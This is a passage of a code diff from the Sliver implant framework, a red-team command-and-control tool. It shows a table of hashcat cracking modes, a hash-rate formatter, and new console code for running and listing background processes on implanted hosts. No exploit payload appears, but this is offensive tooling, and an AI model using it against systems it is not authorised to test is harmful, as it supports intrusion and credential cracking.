||||
170: "sha1(utf16le($pass))",
|
||||
190: "sha1(LinkedIn)",
|
||||
200: "MySQL323",
|
||||
300: "MySQL4.1/MySQL5",
|
||||
400: "phpass, phpBB3 (MD5)",
|
||||
500: "md5crypt, MD5 (Unix), Cisco-IOS $1$ (MD5)",
|
||||
501: "Juniper IVE",
|
||||
600: "BLAKE2b-512",
|
||||
900: "MD4",
|
||||
1000: "NTLM",
|
||||
1100: "Domain Cached Credentials (DCC), MS Cache",
|
||||
1300: "SHA2-224",
|
||||
1400: "SHA2-256",
|
||||
1410: "sha256($pass.$salt)",
|
||||
1411: "SSHA-256(Base64), LDAP {SSHA256}",
|
||||
1420: "sha256($salt.$pass)",
|
||||
1421: "hMailServer",
|
||||
1430: "sha256(utf16le($pass).$salt)",
|
||||
1431: "base64(sha256(unicode($pass)))",
|
||||
1440: "sha256($salt.utf16le($pass))",
|
||||
1441: "Episerver 6.x >= .NET 4",
|
||||
1450: "HMAC-SHA256 (key = $pass)",
|
||||
1460: "HMAC-SHA256 (key = $salt)",
|
||||
1470: "sha256(utf16le($pass))",
|
||||
1500: "descrypt, DES (Unix), Traditional DES",
|
||||
1600: "Apache $apr1$ MD5, md5apr1, MD5 (APR)",
|
||||
1700: "SHA2-512",
|
||||
1710: "sha512($pass.$salt)",
|
||||
1711: "SSHA-512(Base64), LDAP {SSHA512}",
|
||||
1720: "sha512($salt.$pass)",
|
||||
1722: "macOS v10.7",
|
||||
1730: "sha512(utf16le($pass).$salt)",
|
||||
1731: "MSSQL (2012, 2014)",
|
||||
1740: "sha512($salt.utf16le($pass))",
|
||||
1750: "HMAC-SHA512 (key = $pass)",
|
||||
1760: "HMAC-SHA512 (key = $salt)",
|
||||
1770: "sha512(utf16le($pass))",
|
||||
1800: "sha512crypt $6$, SHA512 (Unix)",
|
||||
2000: "STDOUT",
|
||||
2100: "Domain Cached Credentials 2 (DCC2), MS Cache 2",
|
||||
2400: "Cisco-PIX MD5",
|
||||
2410: "Cisco-ASA MD5",
|
||||
2500: "WPA-EAPOL-PBKDF2",
|
||||
2501: "WPA-EAPOL-PMK",
|
||||
2600: "md5(md5($pass))",
|
||||
2611: "vBulletin < v3.8.5",
|
||||
2612: "PHPS",
|
||||
2711: "vBulletin >= v3.8.5",
|
||||
2811: "MyBB 1.2+, IPB2+ (Invision Power Board)",
|
||||
3000: "LM",
|
||||
3100: "Oracle H: Type (Oracle 7+)",
|
||||
3200: "bcrypt $2\\*$, Blowfish (Unix)",
|
||||
3300: "MD5(Sun)",
|
||||
3500: "md5(md5(md5($pass)))",
|
||||
3610: "md5(md5($salt).$pass )",
|
||||
3710: "md5($salt.md5($pass))",
|
||||
3711: "MediaWiki B type",
|
||||
3720: "md5($pass.md5($salt))",
|
||||
3721: "WebEdition CMS",
|
||||
3800: "md5($salt.$pass.$salt)",
|
||||
3910: "md5(md5($pass).md5($salt))",
|
||||
4010: "md5($salt.md5($salt.$pass))",
|
||||
4110: "md5($salt.md5($pass.$salt))",
|
||||
4210: "md5($username.0.$pass)",
|
||||
4300: "md5(strtoupper(md5($pass)))",
|
||||
4400: "md5(sha1($pass))",
|
||||
4500: "sha1(sha1($pass))",
|
||||
4510: "sha1(sha1($pass).$salt)",
|
||||
4520: "sha1($salt.sha1($pass))",
|
||||
4521: "Redmine",
|
||||
4522: "PunBB",
|
||||
4600: "sha1(sha1(sha1($pass)))",
|
||||
4700: "sha1(md5($pass))",
|
||||
4710: "sha1(md5($pass).$salt)",
|
||||
4711: "Huawei sha1(md5($pass).$salt)",
|
||||
4800: "iSCSI CHAP authentication, MD5(CHAP)",
|
||||
4900: "sha1($salt.$pass.$salt)",
|
||||
5000: "sha1(sha1($salt.$pass.$salt))",
|
||||
5100: "Half MD5",
|
||||
5200: "Password Safe v3",
|
||||
5300: "IKE-PSK MD5",
|
||||
5400: "IKE-PSK SHA1",
|
||||
5500: "NetNTLMv1 / NetNTLMv1+ESS",
|
||||
5600: "NetNTLMv2",
|
||||
5700: "Cisco-IOS type 4 (SHA256)",
|
||||
5800: "Samsung Android Password/PIN",
|
||||
6000: "RIPEMD-160",
|
||||
6100: "Whirlpool",
|
||||
6211: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
6212: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
6213: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
6221: "TrueCrypt 5.0+ SHA512 + AES / TrueCrypt 5.0+ SHA512 + Serpent / TrueCrypt 5.0+ SHA512 + Twofish",
|
||||
6222: "TrueCrypt 5.0+ SHA512 + AES-Twofish / TrueCrypt 5.0+ SHA512 + Serpent-AES / TrueCrypt 5.0+ SHA512 + Twofish-Serpent",
|
||||
6223: "TrueCrypt 5.0+ SHA512 + AES-Twofish-Serpent / TrueCrypt 5.0+ SHA512 + Serpent-Twofish-AES",
|
||||
6231: "TrueCrypt 5.0+ Whirlpool + AES / TrueCrypt 5.0+ Whirlpool + Serpent / TrueCrypt 5.0+ Whirlpool + Twofish",
|
||||
6232: "TrueCrypt 5.0+ Whirlpool + AES-Twofish / TrueCrypt 5.0+ Whirlpool + Serpent-AES / TrueCrypt 5.0+ Whirlpool + Twofish-Serpent",
|
||||
6233: "TrueCrypt 5.0+ Whirlpool + AES-Twofish-Serpent / TrueCrypt 5.0+ Whirlpool + Serpent-Twofish-AES",
|
||||
6241: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish + boot",
|
||||
6242: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-AES + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent + boot",
|
||||
6243: "TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + AES-Twofish-Serpent + boot / TrueCrypt 5.0+ PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES + boot",
|
||||
6300: "AIX {smd5}",
|
||||
6400: "AIX {ssha256}",
|
||||
6500: "AIX {ssha512}",
|
||||
6600: "1Password, agilekeychain",
|
||||
6700: "AIX {ssha1}",
|
||||
6800: "LastPass + LastPass sniffed",
|
||||
6900: "GOST R 34.11-94",
|
||||
7000: "FortiGate (FortiOS)",
|
||||
7100: "macOS v10.8+ (PBKDF2-SHA512)",
|
||||
7200: "GRUB 2",
|
||||
7300: "IPMI2 RAKP HMAC-SHA1",
|
||||
7400: "sha256crypt $5$, SHA256 (Unix)",
|
||||
7401: "MySQL $A$ (sha256crypt)",
|
||||
7500: "Kerberos 5, etype 23, AS-REQ Pre-Auth",
|
||||
7700: "SAP CODVN B (BCODE)",
|
||||
7701: "SAP CODVN B (BCODE) from RFC_READ_TABLE",
|
||||
7800: "SAP CODVN F/G (PASSCODE)",
|
||||
7801: "SAP CODVN F/G (PASSCODE) from RFC_READ_TABLE",
|
||||
7900: "Drupal7",
|
||||
8000: "Sybase ASE",
|
||||
8100: "Citrix NetScaler (SHA1)",
|
||||
8200: "1Password, cloudkeychain",
|
||||
8300: "DNSSEC (NSEC3)",
|
||||
8400: "WBB3 (Woltlab Burning Board)",
|
||||
8500: "RACF",
|
||||
8600: "Lotus Notes/Domino 5",
|
||||
8700: "Lotus Notes/Domino 6",
|
||||
8800: "Android FDE <= 4.3",
|
||||
8900: "scrypt",
|
||||
9000: "Password Safe v2",
|
||||
9100: "Lotus Notes/Domino 8",
|
||||
9200: "Cisco-IOS $8$ (PBKDF2-SHA256)",
|
||||
9300: "Cisco-IOS $9$ (scrypt)",
|
||||
9400: "MS Office 2007",
|
||||
9500: "MS Office 2010",
|
||||
9600: "MS Office 2013",
|
||||
9700: "MS Office <= 2003 MD5 + RC4, oldoffice$0, oldoffice$1",
|
||||
9710: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #1",
|
||||
9720: "MS Office <= 2003 $0/$1, MD5 + RC4, collider #2",
|
||||
9800: "MS Office <= 2003 SHA1 + RC4, oldoffice$3, oldoffice$4",
|
||||
9810: "MS Office <= 2003 $3, SHA1 + RC4, collider #1",
|
||||
9820: "MS Office <= 2003 $3, SHA1 + RC4, collider #2",
|
||||
9900: "Radmin2",
|
||||
10000: "Django (PBKDF2-SHA256)",
|
||||
10100: "SipHash",
|
||||
10200: "CRAM-MD5",
|
||||
10300: "SAP CODVN H (PWDSALTEDHASH) iSSHA-1",
|
||||
10400: "PDF 1.1 - 1.3 (Acrobat 2 - 4)",
|
||||
10410: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #1",
|
||||
10420: "PDF 1.1 - 1.3 (Acrobat 2 - 4), collider #2",
|
||||
10500: "PDF 1.4 - 1.6 (Acrobat 5 - 8)",
|
||||
10600: "PDF 1.7 Level 3 (Acrobat 9)",
|
||||
10700: "PDF 1.7 Level 8 (Acrobat 10 - 11)",
|
||||
10800: "SHA2-384",
|
||||
10810: "sha384($pass.$salt)",
|
||||
10820: "sha384($salt.$pass)",
|
||||
10830: "sha384(utf16le($pass).$salt)",
|
||||
10840: "sha384($salt.utf16le($pass))",
|
||||
10870: "sha384(utf16le($pass))",
|
||||
10900: "PBKDF2-HMAC-SHA256",
|
||||
10901: "RedHat 389-DS LDAP (PBKDF2-HMAC-SHA256)",
|
||||
11000: "PrestaShop",
|
||||
11100: "PostgreSQL CRAM (MD5)",
|
||||
11200: "MySQL CRAM (SHA1)",
|
||||
11300: "Bitcoin/Litecoin wallet.dat",
|
||||
11400: "SIP digest authentication (MD5)",
|
||||
11500: "CRC32",
|
||||
11600: "7-Zip",
|
||||
11700: "GOST R 34.11-2012 (Streebog) 256-bit, big-endian",
|
||||
11750: "HMAC-Streebog-256 (key = $pass), big-endian",
|
||||
11760: "HMAC-Streebog-256 (key = $salt), big-endian",
|
||||
11800: "GOST R 34.11-2012 (Streebog) 512-bit, big-endian",
|
||||
11850: "HMAC-Streebog-512 (key = $pass), big-endian",
|
||||
11860: "HMAC-Streebog-512 (key = $salt), big-endian",
|
||||
11900: "PBKDF2-HMAC-MD5",
|
||||
12000: "PBKDF2-HMAC-SHA1",
|
||||
12001: "Atlassian (PBKDF2-HMAC-SHA1)",
|
||||
12100: "PBKDF2-HMAC-SHA512",
|
||||
12200: "eCryptfs",
|
||||
12300: "Oracle T: Type (Oracle 12+)",
|
||||
12400: "BSDi Crypt, Extended DES",
|
||||
12500: "RAR3-hp",
|
||||
12600: "ColdFusion 10+",
|
||||
12700: "Blockchain, My Wallet",
|
||||
12800: "MS-AzureSync PBKDF2-HMAC-SHA256",
|
||||
12900: "Android FDE (Samsung DEK)",
|
||||
13000: "RAR5",
|
||||
13100: "Kerberos 5, etype 23, TGS-REP",
|
||||
13200: "AxCrypt 1",
|
||||
13300: "AxCrypt 1 in-memory SHA1",
|
||||
13400: "KeePass 1 AES / without keyfile / KeePass 2 AES / without keyfile / KeePass 1 Twofish / with keyfile / Keepass 2 AES / with keyfile",
|
||||
13500: "PeopleSoft PS_TOKEN",
|
||||
13600: "WinZip",
|
||||
13711: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish",
|
||||
13712: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + AES-Twofish / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-AES / VeraCrypt PBKDF2-HMAC-RIPEMD160 + Twofish-Serpent",
|
||||
13713: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + Serpent-Twofish-AES",
|
||||
13721: "VeraCrypt PBKDF2-HMAC-SHA512 + AES / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish",
|
||||
13722: "VeraCrypt PBKDF2-HMAC-SHA512 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA512 + Twofish-Serpent",
|
||||
13723: "VeraCrypt PBKDF2-HMAC-SHA512 + Serpent-Twofish-AES",
|
||||
13731: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish",
|
||||
13732: "VeraCrypt PBKDF2-HMAC-Whirlpool + AES-Twofish / VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-AES / VeraCrypt PBKDF2-HMAC-Whirlpool + Twofish-Serpent",
|
||||
13733: "VeraCrypt PBKDF2-HMAC-Whirlpool + Serpent-Twofish-AES",
|
||||
13741: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES",
|
||||
13742: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish",
|
||||
13743: "VeraCrypt PBKDF2-HMAC-RIPEMD160 + boot-mode + AES-Twofish-Serpent",
|
||||
13751: "VeraCrypt PBKDF2-HMAC-SHA256 + AES / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish",
|
||||
13752: "VeraCrypt PBKDF2-HMAC-SHA256 + AES-Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-AES / VeraCrypt PBKDF2-HMAC-SHA256 + Twofish-Serpent",
|
||||
13753: "VeraCrypt PBKDF2-HMAC-SHA256 + Serpent-Twofish-AES",
|
||||
13761: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Twofish / VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + PIM + AES",
|
||||
13762: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-AES",
|
||||
13763: "VeraCrypt PBKDF2-HMAC-SHA256 + boot-mode + Serpent-Twofish-AES",
|
||||
13771: "VeraCrypt Streebog-512 + XTS 512 bit",
|
||||
13772: "VeraCrypt Streebog-512 + XTS 1024 bit",
|
||||
13773: "VeraCrypt Streebog-512 + XTS 1536 bit",
|
||||
13800: "Windows Phone 8+ PIN/password",
|
||||
13900: "OpenCart",
|
||||
14000: "DES (PT = $salt, key = $pass)",
|
||||
14100: "3DES (PT = $salt, key = $pass)",
|
||||
14400: "sha1(CX)",
|
||||
14500: "Linux Kernel Crypto API (2.4)",
|
||||
14600: "LUKS",
|
||||
14700: "iTunes backup < 10.0",
|
||||
14800: "iTunes backup >= 10.0",
|
||||
14900: "Skip32 (PT = $salt, key = $pass)",
|
||||
15000: "FileZilla Server >= 0.9.55",
|
||||
15100: "Juniper/NetBSD sha1crypt",
|
||||
15200: "Blockchain, My Wallet, V2",
|
||||
15300: "DPAPI masterkey file v1 + local context",
|
||||
15400: "ChaCha20",
|
||||
15500: "JKS Java Key Store Private Keys (SHA1)",
|
||||
15600: "Ethereum Wallet, PBKDF2-HMAC-SHA256",
|
||||
15700: "Ethereum Wallet, SCRYPT",
|
||||
15900: "DPAPI masterkey file v2 + Active Directory domain context",
|
||||
16000: "Tripcode",
|
||||
16100: "TACACS+",
|
||||
16200: "Apple Secure Notes",
|
||||
16300: "Ethereum Pre-Sale Wallet, PBKDF2-HMAC-SHA256",
|
||||
16400: "CRAM-MD5 Dovecot",
|
||||
16500: "JWT (JSON Web Token)",
|
||||
16600: "Electrum Wallet (Salt-Type 1-3)",
|
||||
16700: "FileVault 2",
|
||||
16800: "WPA-PMKID-PBKDF2",
|
||||
16801: "WPA-PMKID-PMK",
|
||||
16900: "Ansible Vault",
|
||||
17200: "PKZIP (Compressed)",
|
||||
17210: "PKZIP (Uncompressed)",
|
||||
17220: "PKZIP (Compressed Multi-File)",
|
||||
17225: "PKZIP (Mixed Multi-File)",
|
||||
17230: "PKZIP (Mixed Multi-File Checksum-Only)",
|
||||
17300: "SHA3-224",
|
||||
17400: "SHA3-256",
|
||||
17500: "SHA3-384",
|
||||
17600: "SHA3-512",
|
||||
17700: "Keccak-224",
|
||||
17800: "Keccak-256",
|
||||
17900: "Keccak-384",
|
||||
18000: "Keccak-512",
|
||||
18100: "TOTP (HMAC-SHA1)",
|
||||
18200: "Kerberos 5, etype 23, AS-REP",
|
||||
18300: "Apple File System (APFS)",
|
||||
18400: "Open Document Format (ODF) 1.2 (SHA-256, AES)",
|
||||
18500: "sha1(md5(md5($pass)))",
|
||||
18600: "Open Document Format (ODF) 1.1 (SHA-1, Blowfish)",
|
||||
18700: "Java Object hashCode()",
|
||||
18800: "Blockchain, My Wallet, Second Password (SHA256)",
|
||||
18900: "Android Backup",
|
||||
19000: "QNX /etc/shadow (MD5)",
|
||||
19100: "QNX /etc/shadow (SHA256)",
|
||||
19200: "QNX /etc/shadow (SHA512)",
|
||||
19300: "sha1($salt1.$pass.$salt2)",
|
||||
19500: "Ruby on Rails Restful-Authentication",
|
||||
19600: "Kerberos 5, etype 17, TGS-REP (AES128-CTS-HMAC-SHA1-96)",
|
||||
19700: "Kerberos 5, etype 18, TGS-REP (AES256-CTS-HMAC-SHA1-96)",
|
||||
19800: "Kerberos 5, etype 17, Pre-Auth",
|
||||
19900: "Kerberos 5, etype 18, Pre-Auth",
|
||||
20011: "DiskCryptor SHA512 + XTS 512 bit (AES) / DiskCryptor SHA512 + XTS 512 bit (Twofish) / DiskCryptor SHA512 + XTS 512 bit (Serpent)",
|
||||
20012: "DiskCryptor SHA512 + XTS 1024 bit (AES-Twofish) / DiskCryptor SHA512 + XTS 1024 bit (Twofish-Serpent) / DiskCryptor SHA512 + XTS 1024 bit (Serpent-AES)",
|
||||
20013: "DiskCryptor SHA512 + XTS 1536 bit (AES-Twofish-Serpent)",
|
||||
20200: "Python passlib pbkdf2-sha512",
|
||||
20300: "Python passlib pbkdf2-sha256",
|
||||
20400: "Python passlib pbkdf2-sha1",
|
||||
20500: "PKZIP Master Key",
|
||||
20510: "PKZIP Master Key (6 byte optimization)",
|
||||
20600: "Oracle Transportation Management (SHA256)",
|
||||
20710: "sha256(sha256($pass).$salt)",
|
||||
20711: "AuthMe sha256",
|
||||
20720: "sha256($salt.sha256($pass))",
|
||||
20800: "sha256(md5($pass))",
|
||||
20900: "md5(sha1($pass).md5($pass).sha1($pass))",
|
||||
21000: "BitShares v0.x - sha512(sha512_bin(pass))",
|
||||
21100: "sha1(md5($pass.$salt))",
|
||||
21200: "md5(sha1($salt).md5($pass))",
|
||||
21300: "md5($salt.sha1($salt.$pass))",
|
||||
21400: "sha256(sha256_bin($pass))",
|
||||
21500: "SolarWinds Orion",
|
||||
21501: "SolarWinds Orion v2",
|
||||
21600: "Web2py pbkdf2-sha512",
|
||||
21700: "Electrum Wallet (Salt-Type 4)",
|
||||
21800: "Electrum Wallet (Salt-Type 5)",
|
||||
22000: "WPA-PBKDF2-PMKID+EAPOL",
|
||||
22001: "WPA-PMK-PMKID+EAPOL",
|
||||
22100: "BitLocker",
|
||||
22200: "Citrix NetScaler (SHA512)",
|
||||
22300: "sha256($salt.$pass.$salt)",
|
||||
22301: "Telegram Mobile App Passcode (SHA256)",
|
||||
22400: "AES Crypt (SHA256)",
|
||||
22500: "MultiBit Classic .key (MD5)",
|
||||
22600: "Telegram Desktop < v2.1.14 (PBKDF2-HMAC-SHA1)",
|
||||
22700: "MultiBit HD (scrypt)",
|
||||
22911: "RSA/DSA/EC/OpenSSH Private Keys ($0$)",
|
||||
22921: "RSA/DSA/EC/OpenSSH Private Keys ($6$)",
|
||||
22931: "RSA/DSA/EC/OpenSSH Private Keys ($1, $3$)",
|
||||
22941: "RSA/DSA/EC/OpenSSH Private Keys ($4$)",
|
||||
22951: "RSA/DSA/EC/OpenSSH Private Keys ($5$)",
|
||||
23001: "SecureZIP AES-128",
|
||||
23002: "SecureZIP AES-192",
|
||||
23003: "SecureZIP AES-256",
|
||||
23100: "Apple Keychain",
|
||||
23200: "XMPP SCRAM PBKDF2-SHA1",
|
||||
23300: "Apple iWork",
|
||||
23400: "Bitwarden",
|
||||
23500: "AxCrypt 2 AES-128",
|
||||
23600: "AxCrypt 2 AES-256",
|
||||
23700: "RAR3-p (Uncompressed)",
|
||||
23800: "RAR3-p (Compressed)",
|
||||
23900: "BestCrypt v3 Volume Encryption",
|
||||
24100: "MongoDB ServerKey SCRAM-SHA-1",
|
||||
24200: "MongoDB ServerKey SCRAM-SHA-256",
|
||||
24300: "sha1($salt.sha1($pass.$salt))",
|
||||
24410: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA1 + 3DES/AES)",
|
||||
24420: "PKCS#8 Private Keys (PBKDF2-HMAC-SHA256 + 3DES/AES)",
|
||||
24500: "Telegram Desktop >= v2.1.14 (PBKDF2-HMAC-SHA512)",
|
||||
24600: "SQLCipher",
|
||||
24700: "Stuffit5",
|
||||
24800: "Umbraco HMAC-SHA1",
|
||||
24900: "Dahua Authentication MD5",
|
||||
25300: "MS Office 2016 - SheetProtection",
|
||||
25400: "PDF 1.4 - 1.6 (Acrobat 5 - 8) - edit password",
|
||||
25500: "Stargazer Stellar Wallet XLM",
|
||||
25600: "bcrypt(md5($pass)) / bcryptmd5",
|
||||
25700: "MurmurHash",
|
||||
25800: "bcrypt(sha1($pass)) / bcryptsha1",
|
||||
25900: "KNX IP Secure - Device Authentication Code",
|
||||
26000: "Mozilla key3.db",
|
||||
26100: "Mozilla key4.db",
|
||||
26200: "OpenEdge Progress Encode",
|
||||
26300: "FortiGate256 (FortiOS256)",
|
||||
26401: "AES-128-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26402: "AES-192-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26403: "AES-256-ECB NOKDF (PT = $salt, key = $pass)",
|
||||
26500: "iPhone passcode (UID key + System Keybag)",
|
||||
26600: "MetaMask Wallet",
|
||||
99999: "Plaintext",
|
||||
}
|
||||
|
||||
func hashcatHashTypeName(mode int32) (string, bool) {
|
||||
name, ok := hashcatHashTypes[mode]
|
||||
return name, ok
|
||||
}
|
||||
|
||||
func humanizeHashRate(rate uint64) string {
|
||||
const unit = 1000
|
||||
if rate < unit {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
value := float64(rate)
|
||||
exp := 0
|
||||
for value >= unit && exp < 5 {
|
||||
value /= unit
|
||||
exp++
|
||||
}
|
||||
suffixes := []string{"kH/s", "MH/s", "GH/s", "TH/s", "PH/s"}
|
||||
if exp == 0 {
|
||||
return fmt.Sprintf("%d H/s", rate)
|
||||
}
|
||||
if exp > len(suffixes) {
|
||||
exp = len(suffixes)
|
||||
}
|
||||
return fmt.Sprintf("%.2f %s", value, suffixes[exp-1])
|
||||
}
|
||||
@@ -27,6 +27,7 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
flags.Bind("", false, executeCmd, func(f *pflag.FlagSet) {
|
||||
f.BoolP("token", "T", false, "execute command with current token (Windows only)")
|
||||
f.BoolP("output", "o", true, "capture command output")
|
||||
f.Bool("background", false, "start the process in the background and track it")
|
||||
f.BoolP("save", "s", false, "save output to a file")
|
||||
f.BoolP("loot", "X", false, "save output as loot")
|
||||
f.BoolP("ignore-stderr", "S", false, "don't print STDERR output")
|
||||
@@ -45,6 +46,20 @@ func Commands(con *console.SliverClient) []*cobra.Command {
|
||||
carapace.Gen(executeCmd).PositionalCompletion(carapace.ActionValues().Usage("command to execute (required)"))
|
||||
carapace.Gen(executeCmd).PositionalAnyCompletion(carapace.ActionValues().Usage("arguments to the command (optional)"))
|
||||
|
||||
executeChildrenCmd := &cobra.Command{
|
||||
Use: consts.ExecuteChildrenStr,
|
||||
Short: "List tracked background execute child processes",
|
||||
Long: help.GetHelpFor([]string{consts.ExecuteStr, consts.ExecuteChildrenStr}),
|
||||
Args: cobra.NoArgs,
|
||||
Run: func(cmd *cobra.Command, args []string) {
|
||||
ExecuteChildrenCmd(cmd, con, args)
|
||||
},
|
||||
}
|
||||
flags.Bind("", false, executeChildrenCmd, func(f *pflag.FlagSet) {
|
||||
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
|
||||
})
|
||||
executeCmd.AddCommand(executeChildrenCmd)
|
||||
|
||||
executeAssemblyCmd := &cobra.Command{
|
||||
Use: consts.ExecuteAssemblyStr,
|
||||
Short: "Loads and executes a .NET assembly in a child process (Windows Only)",
|
||||
|
||||
@@ -0,0 +1,106 @@
|
||||
package exec
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2019 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"sort"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/protobuf/clientpb"
|
||||
"github.com/bishopfox/sliver/protobuf/sliverpb"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/spf13/cobra"
|
||||
"google.golang.org/protobuf/proto"
|
||||
)
|
||||
|
||||
// ExecuteChildrenCmd - List tracked background execute child processes on the implant.
|
||||
func ExecuteChildrenCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
session, beacon := con.ActiveTarget.GetInteractive()
|
||||
if session == nil && beacon == nil {
|
||||
return
|
||||
}
|
||||
|
||||
ctrl := make(chan bool)
|
||||
con.SpinUntil("Querying execute children ...", ctrl)
|
||||
execChildren, err := con.Rpc.ExecuteChildren(context.Background(), &sliverpb.ExecuteChildrenReq{
|
||||
Request: con.ActiveTarget.Request(cmd),
|
||||
})
|
||||
ctrl <- true
|
||||
<-ctrl
|
||||
if err != nil {
|
||||
con.PrintErrorf("%s\n", err)
|
||||
return
|
||||
}
|
||||
|
||||
if execChildren.Response != nil && execChildren.Response.Async {
|
||||
con.AddBeaconCallback(execChildren.Response.TaskID, func(task *clientpb.BeaconTask) {
|
||||
err = proto.Unmarshal(task.Response, execChildren)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Failed to decode response %s\n", err)
|
||||
return
|
||||
}
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
})
|
||||
con.PrintAsyncResponse(execChildren.Response)
|
||||
return
|
||||
}
|
||||
|
||||
PrintExecuteChildren(execChildren, con)
|
||||
}
|
||||
|
||||
// PrintExecuteChildren - Render execute children output.
|
||||
func PrintExecuteChildren(execChildren *sliverpb.ExecuteChildren, con *console.SliverClient) {
|
||||
if execChildren == nil || len(execChildren.Children) == 0 {
|
||||
con.PrintInfof("No tracked background execute children\n")
|
||||
return
|
||||
}
|
||||
|
||||
children := append([]*sliverpb.ExecuteChild(nil), execChildren.Children...)
|
||||
sort.Slice(children, func(i, j int) bool {
|
||||
return children[i].StartTime < children[j].StartTime
|
||||
})
|
||||
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{"pid", "state", "exit", "started", "command", "stdout", "stderr"})
|
||||
|
||||
for _, child := range children {
|
||||
state := "running"
|
||||
exitCode := "-"
|
||||
if child.Exited {
|
||||
state = "exited"
|
||||
exitCode = fmt.Sprintf("%d", child.ExitCode)
|
||||
}
|
||||
|
||||
started := "-"
|
||||
if child.StartTime != 0 {
|
||||
started = time.Unix(child.StartTime, 0).Local().Format("2006-01-02 15:04:05")
|
||||
}
|
||||
|
||||
command := strings.TrimSpace(fmt.Sprintf("%s %s", child.Path, strings.Join(child.Args, " ")))
|
||||
tw.AppendRow(table.Row{child.Pid, state, exitCode, started, command, child.Stdout, child.Stderr})
|
||||
}
|
||||
|
||||
con.Printf("%s\n", tw.Render())
|
||||
}
|
||||
@@ -44,6 +44,7 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
token, _ := cmd.Flags().GetBool("token")
|
||||
hidden, _ := cmd.Flags().GetBool("hidden")
|
||||
output, _ := cmd.Flags().GetBool("output")
|
||||
background, _ := cmd.Flags().GetBool("background")
|
||||
stdout, _ := cmd.Flags().GetString("stdout")
|
||||
stderr, _ := cmd.Flags().GetString("stderr")
|
||||
saveLoot, _ := cmd.Flags().GetBool("loot")
|
||||
@@ -58,10 +59,15 @@ func ExecuteCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
|
||||
}
|
||||
hostName := getHostname(session, beacon)
|
||||
|
||||
// If the user wants to loot or save the output, we have to capture it regardless of if they specified -o
|
||||
captureOutput := output || saveLoot || saveOutput
|
||||
if background && (saveLoot || saveOutput) {
|
||||
con.PrintErrorf("The loot and save options are not supported with --background\n")
|
||||
return
|
||||
}
|
||||
|
||||
if output && beacon != nil {
|
||||
